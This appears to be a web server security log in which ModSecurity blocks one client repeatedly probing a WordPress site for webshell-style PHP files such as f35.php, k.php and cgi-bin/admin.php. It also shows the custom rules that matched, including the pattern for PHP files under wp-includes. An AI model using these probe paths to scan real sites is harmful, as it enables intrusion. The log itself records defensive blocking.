[Fri Apr 24 01:52:14.050038 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:64886] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcToV5EysYcTLjmwg0iwAAAcw"]
[Fri Apr 24 01:52:14.562646 2026] [:error] [pid 42973:tid 43047] [client 74.248.129.192:65306] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcTm6I0QqmmmLTHE2EJAAAAIQ"]
[Fri Apr 24 01:52:15.077799 2026] [:error] [pid 46953:tid 46956] [client 74.248.129.192:62949] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcT0nlpdHh-P6wKbp6EgAAAkA"]
[Fri Apr 24 01:52:15.600099 2026] [:error] [pid 42972:tid 43035] [client 74.248.129.192:64427] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "aepcT8OAb-3sOknsk4fDwwAAAFM"]
[Fri Apr 24 01:52:16.119622 2026] [:error] [pid 46953:tid 46972] [client 74.248.129.192:62921] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepcUEnlpdHh-P6wKbp6EwAAAlA"]
[Fri Apr 24 01:52:16.664303 2026] [:error] [pid 46953:tid 46969] [client 74.248.129.192:63810] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepcUEnlpdHh-P6wKbp6FQAAAk0"]
[Fri Apr 24 01:52:17.187234 2026] [:error] [pid 43083:tid 43090] [client 74.248.129.192:64943] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepcUTC5hrvNXosL83KtkwAAAMU"]
[Fri Apr 24 01:52:17.944469 2026] [:error] [pid 42972:tid 43017] [client 74.248.129.192:65226] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "aepcUcOAb-3sOknsk4fDyAAAAEE"]
[Fri Apr 24 01:52:18.489459 2026] [:error] [pid 64998:tid 65014] [client 74.248.129.192:62913] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepcUoV5EysYcTLjmwg0oAAAAcw"]
[Fri Apr 24 01:52:19.106118 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:65329] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepcU4V5EysYcTLjmwg0owAAAdE"]
[Fri Apr 24 01:52:19.660376 2026] [:error] [pid 43083:tid 43088] [client 74.248.129.192:63809] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepcUzC5hrvNXosL83KtlAAAAMM"]
[Fri Apr 24 01:52:20.178756 2026] [:error] [pid 64998:tid 65007] [client 74.248.129.192:64956] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aepcVIV5EysYcTLjmwg0qgAAAcU"]
[Fri Apr 24 01:52:20.741057 2026] [:error] [pid 64998:tid 65023] [client 74.248.129.192:63412] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepcVIV5EysYcTLjmwg0rQAAAdU"]
[Fri Apr 24 01:52:21.275129 2026] [:error] [pid 25635:tid 25647] [client 74.248.129.192:64952] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepcVcRxv6UsgRGKB3JRvAAAAQg"]
[Fri Apr 24 01:52:21.978040 2026] [:error] [pid 64998:tid 65021] [client 74.248.129.192:64872] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepcVYV5EysYcTLjmwg0tAAAAdM"]
[Fri Apr 24 01:52:22.550958 2026] [:error] [pid 46953:tid 46962] [client 74.248.129.192:38066] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "aepcVknlpdHh-P6wKbp6HAAAAkY"]
[Fri Apr 24 01:52:23.103299 2026] [:error] [pid 64998:tid 65013] [client 74.248.129.192:38071] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepcV4V5EysYcTLjmwg0twAAAcs"]
[Fri Apr 24 01:52:23.616819 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:9652] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepcV4V5EysYcTLjmwg0uwAAAdE"]
[Fri Apr 24 01:52:24.136177 2026] [:error] [pid 64998:tid 65026] [client 74.248.129.192:63359] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepcWIV5EysYcTLjmwg0wAAAAdg"]
[Fri Apr 24 01:52:24.687899 2026] [:error] [pid 64998:tid 65016] [client 74.248.129.192:64885] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "aepcWIV5EysYcTLjmwg0xQAAAc4"]
[Fri Apr 24 01:52:25.275513 2026] [:error] [pid 42971:tid 43000] [client 74.248.129.192:64331] [client 74.248.129.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aepcWTEP2_5RswrH8bFRWAAAAA4"]
[Fri Apr 24 01:52:25.829478 2026] [:error] [pid 65000:tid 65029] [client 74.248.129.192:64902] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepcWb6vRb9j6psK2ZZ9BQAAAgA"]
[Fri Apr 24 01:52:26.430197 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:64910] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepcWr6vRb9j6psK2ZZ9CgAAAgU"]
[Fri Apr 24 01:52:26.975016 2026] [:error] [pid 42973:tid 43053] [client 74.248.129.192:64323] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aepcWm6I0QqmmmLTHE2EPQAAAIo"]
[Fri Apr 24 01:52:27.490086 2026] [:error] [pid 65000:tid 65056] [client 74.248.129.192:63329] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepcW76vRb9j6psK2ZZ9FwAAAhc"]
[Fri Apr 24 01:52:28.044013 2026] [:error] [pid 65000:tid 65047] [client 74.248.129.192:63825] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepcXL6vRb9j6psK2ZZ9GgAAAg4"]
[Fri Apr 24 01:52:28.597044 2026] [:error] [pid 46953:tid 46981] [client 74.248.129.192:63362] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepcXEnlpdHh-P6wKbp6IwAAAlg"]
[Fri Apr 24 01:52:29.151049 2026] [:error] [pid 46953:tid 46976] [client 74.248.129.192:64934] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aepcXUnlpdHh-P6wKbp6JgAAAlQ"]
[Fri Apr 24 01:52:29.709509 2026] [:error] [pid 46953:tid 46968] [client 74.248.129.192:64410] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepcXUnlpdHh-P6wKbp6KgAAAkw"]
[Fri Apr 24 01:52:30.236858 2026] [:error] [pid 42972:tid 43036] [client 74.248.129.192:63901] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepcXsOAb-3sOknsk4fDzgAAAFQ"]
[Fri Apr 24 01:52:30.784401 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:65255] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepcXr6vRb9j6psK2ZZ9GwAAAgU"]
[Fri Apr 24 01:52:31.340513 2026] [:error] [pid 65000:tid 65039] [client 74.248.129.192:38059] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aepcX76vRb9j6psK2ZZ9HwAAAgY"]
[Fri Apr 24 01:52:32.126032 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:64336] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepcYMOAb-3sOknsk4fD1gAAAEs"]
[Fri Apr 24 01:52:32.732064 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:9645] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepcYIV5EysYcTLjmwg01AAAAcM"]
[Fri Apr 24 01:52:33.293713 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:64400] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepcYYV5EysYcTLjmwg02AAAAdE"]
[Fri Apr 24 01:52:33.848701 2026] [:error] [pid 42972:tid 43031] [client 74.248.129.192:64445] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "aepcYcOAb-3sOknsk4fD2QAAAE8"]
[Fri Apr 24 01:52:34.689386 2026] [:error] [pid 42972:tid 43038] [client 74.248.129.192:62927] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aepcYsOAb-3sOknsk4fD3AAAAFY"]
[Fri Apr 24 01:52:36.028678 2026] [:error] [pid 64998:tid 65010] [client 74.248.129.192:64889] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aepcZIV5EysYcTLjmwg04AAAAcg"]
[Fri Apr 24 01:52:36.974190 2026] [:error] [pid 64998:tid 65004] [client 74.248.129.192:64434] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aepcZIV5EysYcTLjmwg04wAAAcI"]
[Fri Apr 24 01:52:38.031947 2026] [:error] [pid 46953:tid 46981] [client 74.248.129.192:63404] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aepcZknlpdHh-P6wKbp6LgAAAlg"]
[Fri Apr 24 01:52:46.552453 2026] [:error] [pid 64998:tid 65005] [client 74.248.129.192:65330] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aepcboV5EysYcTLjmwg1DgAAAcM"]
[Fri Apr 24 01:52:53.109614 2026] [:error] [pid 46953:tid 46968] [client 74.248.129.192:62339] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aepcdUnlpdHh-P6wKbp6MwAAAkw"]
[Fri Apr 24 01:52:53.892297 2026] [:error] [pid 65000:tid 65056] [client 74.248.129.192:18757] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aepcdb6vRb9j6psK2ZZ9LgAAAhc"]
[Fri Apr 24 01:52:54.467117 2026] [:error] [pid 65000:tid 65041] [client 74.248.129.192:64420] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aepcdr6vRb9j6psK2ZZ9MgAAAgg"]
[Fri Apr 24 01:52:54.983499 2026] [:error] [pid 65000:tid 65051] [client 74.248.129.192:64940] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aepcdr6vRb9j6psK2ZZ9OAAAAhI"]
[Fri Apr 24 01:52:55.540394 2026] [:error] [pid 65000:tid 65049] [client 74.248.129.192:63911] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aepcd76vRb9j6psK2ZZ9OQAAAhA"]
[Fri Apr 24 01:52:56.092502 2026] [:error] [pid 65000:tid 65045] [client 74.248.129.192:64850] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aepceL6vRb9j6psK2ZZ9PgAAAgw"]
[Fri Apr 24 01:52:56.608287 2026] [:error] [pid 65000:tid 65048] [client 74.248.129.192:64901] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aepceL6vRb9j6psK2ZZ9QAAAAg8"]
[Fri Apr 24 01:52:57.188390 2026] [:error] [pid 64967:tid 64980] [client 74.248.129.192:18763] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aepceYAV4GfOOdX8QzqZRwAAAYs"]
[Fri Apr 24 01:52:57.748991 2026] [:error] [pid 42973:tid 43044] [client 74.248.129.192:63398] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aepceW6I0QqmmmLTHE2EZgAAAIE"]
[Fri Apr 24 01:52:58.272597 2026] [:error] [pid 25635:tid 25646] [client 74.248.129.192:63867] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aepcesRxv6UsgRGKB3JR3AAAAQc"]
[Fri Apr 24 01:52:58.822692 2026] [:error] [pid 42973:tid 43046] [client 74.248.129.192:63874] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aepcem6I0QqmmmLTHE2EZwAAAIM"]
[Fri Apr 24 01:52:59.410976 2026] [:error] [pid 59700:tid 59708] [client 74.248.129.192:64860] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aepce5XyGZJFeAIDWtl3owAAAUY"]
[Fri Apr 24 01:52:59.966173 2026] [:error] [pid 65000:tid 65049] [client 74.248.129.192:9609] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aepce76vRb9j6psK2ZZ9SwAAAhA"]
[Fri Apr 24 01:53:00.517527 2026] [:error] [pid 59700:tid 59726] [client 74.248.129.192:9624] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aepcfJXyGZJFeAIDWtl3qgAAAVg"]
